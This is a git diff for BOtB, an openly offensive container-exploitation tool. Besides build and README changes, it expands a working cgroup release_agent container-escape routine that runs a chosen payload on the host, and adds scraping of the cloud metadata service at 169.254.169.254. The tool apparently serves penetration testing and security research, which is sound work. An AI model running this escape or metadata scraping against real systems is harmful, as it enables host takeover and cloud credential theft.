diff --git a/Makefile b/Makefile index 5905aa7..950fe1f 100644 --- a/Makefile +++ b/Makefile @@ -16,7 +16,7 @@ else endif endif -all: clean build-linux +all: clean build-linux64 build-darwin64 build-linux32 build-darwin32 clean: @echo ">> removing previous builds" @@ -25,8 +25,27 @@ clean: $(GOPATH): GOPATH := $(HOME)/go -build-linux: +build-linux64: @echo ">> running check for unused/missing packages in go.mod" @go mod tidy - @echo ">> building binary" - $(GOV111PREFIX) GOOS=linux GOARCH=amd64 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-linux-amd64 ./ \ No newline at end of file + @echo ">> building Linux 64bit binary" + $(GOV111PREFIX) GOOS=linux GOARCH=amd64 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-linux-amd64 ./ + +build-darwin64: + @echo ">> running check for unused/missing packages in go.mod" + @go mod tidy + @echo ">> building darwin 64bit binary" + $(GOV111PREFIX) GOOS=darwin GOARCH=amd64 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-darwin-amd64 ./ + + +build-linux32: + @echo ">> running check for unused/missing packages in go.mod" + @go mod tidy + @echo ">> building linux 32bit binary" + $(GOV111PREFIX) GOOS=linux GOARCH=386 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-linux-386 ./ + +build-darwin32: + @echo ">> running check for unused/missing packages in go.mod" + @go mod tidy + @echo ">> building darwin 32bit binary" + $(GOV111PREFIX) GOOS=darwin GOARCH=386 go build -o $(OUTPUTDIR)/$(BINARY_NAME)-darwin-386 ./ diff --git a/README.md b/README.md index bf7ed7e..ec35a9e 100644 --- a/README.md +++ b/README.md @@ -28,7 +28,7 @@ BOtB is a CLI tool which allows you to: # Getting BOtB -BOtB is available as a binary in the Releases Section. +BOtB is available as a binary in the [Releases Page](https://github.com/brompwnie/botb/releases). # Building BOtB @@ -41,13 +41,15 @@ or git clone git@github.com:brompwnie/botb.git ``` -Building the Code: +Building BOtB via Go: ``` -govendor init -govendor add github.com/tv42/httpunix -govendor add github.com/kr/pty -go build -o botbsBinary +go build ``` +Building BOtB via Make: +``` +make +``` + # Usage BOtB can be compiled into a binary for the targeted platform and supports the following usage @@ -63,8 +65,8 @@ Usage of ./botb: Attempt to autopwn but don't drop to TTY,return exit code 1 if successful else 0 -config string Load config from provided yaml file (default "nil") - -endpointlist string - Provide a textfile with endpoints to test (default "nil") + -endpoints string + Provide a textfile with endpoints to use for test (default "nil") -find-docker Attempt to find Dockerd -find-http @@ -96,7 +98,7 @@ Usage of ./botb: ``` -BOtb can also be instructed to load settings from a YAML file via the config paramater +BOtB can also be instructed to load settings from a YAML file via the config parameter ``` # ./botb -config=cfg.yml [+] Break Out The Box @@ -261,23 +263,6 @@ https://heroku.com ``` -### Get Interfaces and IP's - -``` -# ./bob_linux_amd64 -interfaces=true -[+] Break Out The Box -[+] Attempting to get local network interfaces -[*] Got Interface: lo - [*] Got address: 127.0.0.1/8 -[*] Got Interface: tunl0 -[*] Got Interface: ip6tnl0 -[*] Got Interface: eth0 - [*] Got address: 172.17.0.3/16 -[+] Finished - -``` - - ### Scan for UNIX Domain Sockets that respond to HTTP ``` # ./bob_linux_amd64 -find-http=true @@ -458,6 +443,8 @@ BOtB is scheduled to be presented at the following: - BSides London 2019 (https://sched.co/PAwB) and slides can be found here https://github.com/brompwnie/bsideslondon2019 - Blackhat Las Vegas Arsenal 2019 (https://www.blackhat.com/us-19/arsenal/schedule/index.html#break-out-the-box-botb-container-analysis-exploitation-and-cicd-tool-14988) - DefCon 27 Cloud Village (https://cloud-village.org/) +- Blackhat Europe 2019 (https://www.blackhat.com/eu-19/briefings/schedule/index.html#reverse-engineering-and-exploiting-builds-in-the-cloud-17287) +- DevSecCon London 2019 (https://www.devseccon.com/london-2019/) # License BOtB is licensed under a Creative Commons Attribution-NonCommercial-ShareAlike 4.0 International License (http://creativecommons.org/licenses/by-nc-sa/4.0). diff --git a/go.sum b/go.sum index 102a516..f79f72d 100644 --- a/go.sum +++ b/go.sum @@ -1,23 +1,29 @@ github.com/aws/aws-sdk-go v1.20.16 h1:Dq68fBH39XnSjjb2hX/iW6mui8JtXcVAuhRYGSRiisY= github.com/aws/aws-sdk-go v1.20.16/go.mod h1:KmX6BPdI08NWTb3/sm4ZGu5ShLoqVDhKgpiN924inxo= +github.com/davecgh/go-spew v1.1.0 h1:ZDRjVQ15GmhC3fiQ8ni8+OwkZQO4DARzQgrnXU1Liz8= github.com/davecgh/go-spew v1.1.0/go.mod h1:J7Y8YcW2NihsgmVo/mv3lAwl/skON4iLHjSsI+c5H38= github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af h1:pmfjZENx5imkbgOkpRUYLnmbU7UEFbjtDA2hxJ1ichM= github.com/jmespath/go-jmespath v0.0.0-20180206201540-c2b33e8439af/go.mod h1:Nht3zPeWKUH0NzdCt2Blrr5ys8VGpn0CEB0cQHVjt7k= github.com/kr/pty v1.1.5 h1:hyz3dwM5QLc1Rfoz4FuWJQG5BN7tc6K1MndAUnGpQr4= github.com/kr/pty v1.1.5/go.mod h1:9r2w37qlBe7rQ6e1fg1S/9xpWHSnaqNdHD3WcMdbPDA= +github.com/pmezard/go-difflib v1.0.0 h1:4DBwDE0NGyQoBHbLQYPwSUPoCMWR5BEzIk/f1lZbAQM= github.com/pmezard/go-difflib v1.0.0/go.mod h1:iKH77koFhYxTK1pcRnkKkqfTogsbg7gZNVY4sRDYZ/4= github.com/stretchr/objx v0.1.0/go.mod h1:HFkY916IF+rwdDfMAkV7OtwuqBVzrE8GR6GFx+wExME= +github.com/stretchr/testify v1.3.0 h1:TivCn/peBQ7UY8ooIcPgZFpTNSz0Q2U6UrFlUfqbe0Q= github.com/stretchr/testify v1.3.0/go.mod h1:M5WIy9Dh21IEIfnGCwXGc5bZfKNJtfHm1UVUgZn+9EI= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926 h1:G3dpKMzFDjgEh2q1Z7zUUtKa8ViPtH+ocF0bE0g00O8= github.com/tv42/httpunix v0.0.0-20150427012821-b75d8614f926/go.mod h1:9ESjWnEqriFuLhtthL60Sar/7RFoluCcXsuvEwTV5KM= golang.org/x/crypto v0.0.0-20190308221718-c2843e01d9a2/go.mod h1:djNgcEr1/C05ACkg1iLfiJU5Ep61QUkGW8qpdssI0+w= golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8 h1:1wopBVtVdWnn03fZelqdXTqk7U7zPQCb+T4rbU9ZEoU= golang.org/x/crypto v0.0.0-20190611184440-5c40567a22f8/go.mod h1:yigFU9vqHzYiE8UmvKecakEJjdnWj3jj499lnFckfCI= +golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3 h1:0GoQqolDA55aaLxZyTzK/Y2ePZzZTUrRacwib7cNsYQ= golang.org/x/net v0.0.0-20190404232315-eb5bcb51f2a3/go.mod h1:t9HGtf8HONx5eT2rtn7q6eTqICYqUVnKs3thJo3Qplg= golang.org/x/sys v0.0.0-20190215142949-d0b11bdaac8a/go.mod h1:STP8DvDyc/dI5b8T5hshtkjS+E42TnysNCUPdjciGhY= golang.org/x/sys v0.0.0-20190412213103-97732733099d h1:+R4KGOnez64A81RvjARKc4UT5/tI9ujCIVX+P5KiHuI= golang.org/x/sys v0.0.0-20190412213103-97732733099d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs= +golang.org/x/text v0.3.0 h1:g61tztE5qeGQ89tm6NTjjM9VPIm088od1l6aSorWRWg= golang.org/x/text v0.3.0/go.mod h1:NqM8EUOU14njkJ3fqMW+pc6Ldnwhi/IjpwHt7yyuwOQ= +gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405 h1:yhCVgyC4o1eVCa2tZl7eS0r+SDo693bJlVdllGtEeKM= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/yaml.v2 v2.2.2 h1:ZCJp+EgiOT7lHqUV2J862kp8Qj64Jo6az82+3Td9dZw= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= diff --git a/main.go b/main.go index 3fd6876..fc209be 100644 --- a/main.go +++ b/main.go @@ -31,7 +31,7 @@ type Config struct { Verbose bool Cicd bool AlwaysSucceed bool - EndpointList string + Endpoints string WordList string Path string Mode string @@ -54,7 +54,7 @@ func main() { aggressivePtr = flag.String("aggr", "nil", "Attempt to exploit RuncPWN") hijackPtr = flag.String("hijack", "nil", "Attempt to hijack binaries on host") wordlistPtr = flag.String("wordlist", "nil", "Provide a wordlist") - endpointList = flag.String("endpointlist", "nil", "Provide a textfile with endpoints to test") + endpointList = flag.String("endpoints", "nil", "Provide a textfile with endpoints to use for test") findDockerdPtr = flag.Bool("find-docker", false, "Attempt to find Dockerd") pushToS3ptr = flag.String("s3push", "nil", "Push a file to S3 e.g Full command to push to https://YOURBUCKET.s3.eu-west-2.amazonaws.com/FILENAME would be: -region eu-west-2 -s3bucket YOURBUCKET -s3push FILENAME") s3BucketPtr = flag.String("s3bucket", "nil", "Provide a bucket name for S3 Push") @@ -112,7 +112,7 @@ func runCfgArgs(cfg Config) { case "find-docker": findDockerD() case "metadata": - checkMetadataServices(cfg.EndpointList) + checkMetadataServices(cfg.Endpoints) case "autopwn": autopwn(cfg.Path, cfg.Cicd) case "recon": @@ -120,12 +120,7 @@ func runCfgArgs(cfg Config) { checkProcEnviron(cfg.WordList) checkEnvVars(cfg.WordList) case "scrape-gcp": - resp, err := scrapeGcpMetadata("169.254.169.254", "80") - if err != nil { - fmt.Println("[ERROR] ", err) - return - } - fmt.Println("[*] Output-> \n", resp) + scrapeMetadataEndpoints(cfg.Endpoints) case "hijack": hijackBinaries(cfg.Payload) case "aggr": @@ -144,12 +139,7 @@ func runCMDArgs() { } if *scrapeGcpMeta { - resp, err := scrapeGcpMetadata("169.254.169.254", "80") - if err != nil { - fmt.Println("[ERROR] ", err) - return - } - fmt.Println("[*] Output-> \n", resp) + scrapeMetadataEndpoints(*endpointList) } if *pushToS3ptr != "nil" { diff --git a/utils.go b/utils.go index 35ff597..58bce0c 100644 --- a/utils.go +++ b/utils.go @@ -13,6 +13,7 @@ import ( "math/rand" "net" "net/http" + "net/url" "os" "os/exec" "os/signal" @@ -32,90 +33,138 @@ import ( ) func abuseCgroupPriv(payload string) { - if payload == "nil" { fmt.Println("[-] Please provide a payload") return } fmt.Println("[+] Attempting to abuse CGROUP Privileges") + if *verbosePtr { + fmt.Println("[*] Extracting Container Home: sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab") + } + + //Locate where the container is located on the underlying host containerHome, err := execShellCmd("sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab") - containerHome = strings.TrimSpace(containerHome) if err != nil { - fmt.Println("[ERROR] In -> 'sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab'. ", err) + fmt.Println("[ERROR] Extracting Container Home -> 'sed -n 's/.*\\perdir=\\([^,]*\\).*/\\1/p' /etc/mtab'. ", err) } + containerHome = strings.TrimSpace(containerHome) + if *verbosePtr { + fmt.Println("[*] Container Home Extracted: ", containerHome) + } + + //Generate where the cgroup directories will live randomCgroupPath := generateRandomString(6) randomCgroupChild := generateRandomString(6) - cgroupFullPath := fmt.Sprintf("/tmp/cgrp%s/%s", randomCgroupPath, randomCgroupChild) - cgroupPartialPath := fmt.Sprintf("/tmp/cgrp%s", randomCgroupPath) + //This satisfies this command essentially "mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x" + cgroupFullPath := fmt.Sprintf("/etc/cgrp%s/%s", randomCgroupPath, randomCgroupChild) + cgroupPartialPath := fmt.Sprintf("/etc/cgrp%s", randomCgroupPath) - cgroupController := "cpu" + cgroupController := "memory" if *verbosePtr { fmt.Println("[*] CGROUP Location: ", cgroupFullPath) } - _, err = execShellCmd("mkdir " + cgroupPartialPath) + out, err := execShellCmd("mkdir " + cgroupPartialPath) if err != nil { - fmt.Println("[ERROR] In -> 'mkdir "+cgroupPartialPath+"'.", err) + fmt.Println("[ERROR] In Created Cgroup folder -> 'mkdir "+cgroupPartialPath+"'.", err, out) exitCode = 1 return } - _, err = execShellCmd("mount -t cgroup -o " + cgroupController + " cgroup " + cgroupPartialPath) + if *verbosePtr { + fmt.Println("[*] Created Cgroup folder:", cgroupPartialPath) + } + + //mount -t cgroup -o rdma cgroup /tmp/cgrp + // "mount -t cgroup -o " + cgroupController + " cgroup " + cgroupPartialPath + mountCmd := fmt.Sprintf("mount -t cgroup -o %s cgroup %s", cgroupController, cgroupPartialPath) + _, err = execShellCmd(mountCmd) if err != nil { - fmt.Println("[ERROR] In -> 'mount -t cgroup -o "+cgroupController+" cgroup "+cgroupPartialPath+"'.", err) - exitCode = 1 + fmt.Println("[INFO] CGROUP may exist, attempting exploit regardless") + fmt.Printf("[ERROR] In Mounted CGROUP controller -> '%s'.%s\n", mountCmd, err) + // exitCode = 1 return } + if *verbosePtr { + fmt.Println("[*] Mounted CGROUP controller: ", mountCmd) + } + + // Create a folder for the child cgroup i.e mkdir /tmp/cgrp/x _, err = execShellCmd("mkdir " + cgroupFullPath) if err != nil { - fmt.Println("[ERROR] In -> 'mkdir "+cgroupFullPath+"'.", err) + fmt.Println("[ERROR] In Created Child CGROUP folder -> 'mkdir "+cgroupFullPath+"'.", err) exitCode = 1 return } - _, err = execShellCmd("echo 1 > " + cgroupFullPath + "/notify_on_release") + + if *verbosePtr { + fmt.Println("[*] Created Child CGROUP folder:", cgroupPartialPath) + } + + // echo 1 > /tmp/cgrp/x/notify_on_release + notifyOnReleaseCmd := fmt.Sprintf("echo 1 > %s/notify_on_release", cgroupFullPath) + _, err = execShellCmd(notifyOnReleaseCmd) if err != nil { - fmt.Println("[ERROR] In -> 'echo 1 > "+cgroupFullPath+"/notify_on_release'. ", err) + fmt.Println("[ERROR] In Enabling CGROUP Notifications -> 'echo 1 > "+cgroupFullPath+"/notify_on_release'. ", err) exitCode = 1 return } + if *verbosePtr { + fmt.Println("[*] Enabled CGROUP Notifications:", notifyOnReleaseCmd) + } + + // echo "$host_path/cmd" > /tmp/cgrp/release_agent releaseAgentCommand := "echo " + containerHome + "/cmd > " + cgroupPartialPath + "/release_agent" _, err = execShellCmd(releaseAgentCommand) if err != nil { - fmt.Println("[ERROR] In -> '"+releaseAgentCommand+"'. ", err) + fmt.Println("[ERROR] In Created CMD Script -> '"+releaseAgentCommand+"'. ", err) exitCode = 1 return } + if *verbosePtr { + fmt.Println("[*] Created CMD Script:", releaseAgentCommand) + } + _, err = execShellCmd("echo '#!/bin/sh' > /cmd") if err != nil { - fmt.Println("[ERROR] In -> 'echo '#!/bin/sh' > /cmd'. ", err) + fmt.Println("[ERROR] In Inserted shebang into CMD Script -> 'echo '#!/bin/sh' > /cmd'. ", err) exitCode = 1 return } + + if *verbosePtr { + fmt.Println("[*] Inserted shebang into CMD Script: echo '#!/bin/sh' > /cmd") + } + payloadString := fmt.Sprintf("echo '%s > %s/output'>> /cmd", payload, containerHome) if *verbosePtr { - fmt.Println("[*] Payload provided: ", payloadString) + fmt.Println("[*] Payload provided: ", payload) } _, err = execShellCmd(payloadString) if err != nil { - fmt.Println("[ERROR] In -> '"+payloadString+"'. ", err) + fmt.Println("[ERROR] In Inserted payload into CMD script -> '"+payloadString+"'. ", err) exitCode = 1 return } + if *verbosePtr { + fmt.Println("[*] Inserted payload into CMD script: ", payloadString) + } + _, err = execShellCmd("chmod a+x /cmd") if err != nil { @@ -124,14 +173,24 @@ func abuseCgroupPriv(payload string) { return } - _, err = execShellCmd("echo $$ > " + cgroupFullPath + "/cgroup.procs") + if *verbosePtr { + fmt.Println("[*] chmod'ing cmd script: chmod a+x /cmd") + } + + // "echo $$ > " + cgroupFullPath + "/cgroup.procs" + addAndExecuteCmd := fmt.Sprintf("echo $$ > %s/cgroup.procs", cgroupFullPath) + _, err = execShellCmd(addAndExecuteCmd) if err != nil { - fmt.Println("[ERROR] In -> 'echo $$ > "+cgroupFullPath+"/cgroup.procs'. ", err) + fmt.Printf("[ERROR] In Executing, adding a process to CGROUP-> %s, %s\n", addAndExecuteCmd, err) exitCode = 1 return } + if *verbosePtr { + fmt.Println("[*] Executing, adding a process to CGROUP: ", addAndExecuteCmd) + } + fmt.Println("[*] The result of your command can be found in /output") } @@ -400,6 +459,53 @@ func performHttpGetRequest(url string) (int, error) { return resp.StatusCode, nil } +func scrapeMetadataEndpoints(endpointList string) { + + if endpointList != "nil" { + endpoints, err := getLinesFromFile(endpointList) + if err != nil { + log.Fatal(err) + } + + for _, target := range endpoints { + u, err := url.Parse(target) + if err != nil { + log.Fatal(err) + } + hostport := u.Port() + if len(hostport) == 0 { + hostport = "80" + } + + resp, err := scrapeGcpMetadata(u.Hostname(), hostport) + if err != nil { + fmt.Println("[ERROR] ", err) + } else { + fmt.Println("[*] Output-> \n", resp) + exitCode = 1 + } + } + + } else { + resp, err := scrapeGcpMetadata("169.254.169.254", "80") + if err != nil { + fmt.Println("[ERROR] ", err) + } else { + fmt.Println("[*] Output-> \n", resp) + exitCode = 1 + } + + resp, err = scrapeGcpMetadata("169.254.169.254", "8080") + if err != nil { + fmt.Println("[ERROR] ", err) + } else { + fmt.Println("[*] Output-> \n", resp) + exitCode = 1 + } + } + +} + func checkMetadataServices(endpointList string) { if endpointList != "nil" { endpoints, err := getLinesFromFile(endpointList) @@ -414,7 +520,11 @@ func checkMetadataServices(endpointList string) { } } else { - if queryEndpoint("http://169.254.169.254/") { + if queryEndpoint("http://169.254.169.254:80/") { + exitCode = 1 + } + + if queryEndpoint("http://169.254.169.254:8080/") { exitCode = 1 } } @@ -633,7 +743,6 @@ func hijackDirectory(dir, command string) { if *verbosePtr { fmt.Println("[*] Error creating tmp file->", err) } - } err = execShellCmd2("rm", fmt.Sprintf("%s/%s", dir, file.Name())) @@ -641,7 +750,6 @@ func hijackDirectory(dir, command string) { if *verbosePtr { fmt.Println("[*] Error deleting binary file->", err) } - } err = copyFile(file.Name(), fmt.Sprintf("%s/%s", dir, file.Name())) @@ -657,7 +765,6 @@ func hijackDirectory(dir, command string) { if *verbosePtr { fmt.Println("[*] Error chmoding file->", err) } - } err = execShellCmd2("rm", file.Name()) if err != nil {